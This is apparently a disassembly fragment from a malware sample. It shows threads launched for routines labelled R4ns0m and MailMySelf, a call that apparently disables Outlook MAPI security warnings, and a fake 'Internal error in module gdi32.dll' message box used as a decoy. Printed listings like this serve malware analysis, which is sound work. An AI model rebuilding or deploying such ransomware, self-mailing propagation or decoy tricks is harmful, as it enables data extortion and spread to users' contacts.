call qword [sym.imp.KERNEL32.dll_WriteProfileStringA]
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [dbg.R4ns0m]
mov edx, 0
mov ecx, 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
call dbg.DisableMAPIWarning
test eax, eax
je 0x40266b
test byte [rsp + 0x36], 1
je 0x4026ab
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x270
pop rbx
pop rsi
pop rdi
ret
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Internal_error_in_module_gdi32.dll
mov ecx, 0
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [dbg.MailMySelf]
mov edx, 0
mov ecx, 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x40266b